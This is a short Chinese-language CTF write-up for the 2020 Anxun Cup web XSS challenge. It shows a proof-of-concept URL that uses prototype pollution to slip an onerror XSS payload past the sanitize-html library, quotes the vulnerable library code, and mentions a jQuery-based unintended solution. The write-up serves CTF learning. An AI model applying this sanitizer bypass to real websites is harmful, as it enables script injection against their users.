XSS

发表于 2021-01-15 分类于 Challenge， 2020， 安洵杯， Web
Challenge | 2020 | 安洵杯 | Web | XSS

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/8581

题目考点

- *XSS*

解题思路

预期解

poc:

```
1 http://47.108.162.43:3000/?data={"__proto__":{"innerText":"<img src="" onerror=alert`1`>//"},"text":"<h>"}
```

santinize-html第16879行，text与frame.innerText整合为result，作为return的结果

```
1 if (options.selfClosing.indexOf(name) !== -1) {
2     result += " />"
3 } else {
4     result += ">";
5     if (frame.innerText && !hasText && !options.textFilter) {
6         result += frame.innerText;
7         addedText = true
8     }
9 }
```

只要是任意白名单标签都可以在其后加入任意内容

非预期解

ddddhm 队伍师傅用jq的非预期

jquery在init的时候会自动进行一次paseHTML(即使没有调用任何方法)。jquery yyds

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/安洵杯/Web/m8chepoAmneD3KRTnYZZMX.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # 2020 # Web # 安洵杯
Pwn-Intended-0x3
Validator